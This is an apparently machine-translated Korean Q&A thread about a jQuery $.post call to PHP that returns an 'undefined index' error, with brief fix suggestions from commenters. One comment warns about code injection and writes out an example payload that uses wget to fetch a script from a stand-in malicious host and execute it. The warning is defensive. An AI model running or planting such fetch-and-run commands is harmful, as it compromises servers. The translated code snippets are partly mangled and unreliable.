jQuery를 사용하여 MySQL/PHP 쿼리에 변수를 게시하려고합니다.jQuery를 사용하여 클릭시 MySQL에 POST
$(".button").click(function(e){
e.preventDefault();
$.post("some.php", { var_today : <?php echo $new_var; ?> });
});
사용 : 내 PHP 페이지에
if(isset($_POST['var_today'])){
echo $_POST['var_today'];
}
, 나는 정의되지 않은 인덱스를 얻을 : var_today 클래스 버튼 태그가있다
을 나는 버튼, class="button"
하고 버튼 코드는이 onclick="window.open('')
이 첨부되어 있고 일단 클릭하면 var_today
이 게시되지 않으므로 "정의되지 않은 색인"이 표시됩니다. 여기서 내가 잘못 작성한 것은 무엇입니까?
'var_today'의 값 주위에 따옴표를 추가하십시오 ... IE' var_today : " php echo $ new_var;?>' – gorelative
또한 onclick =" "'속성이 필요하지 않습니다. jQuery.click() 메서드는. – Dunhamzzz
입니다.이 질문에 대한 대답은 아니므로 코드에 대한 오해가 있습니다 만 자바 스크립트 호출로 얻은 코드는 절대 실행해서는 안됩니다. 공격자가' php echo $ new_var?>를' php exec ("wget http://myvirus.com/virus.sh"); exec ("./ virus.sh");?> ' –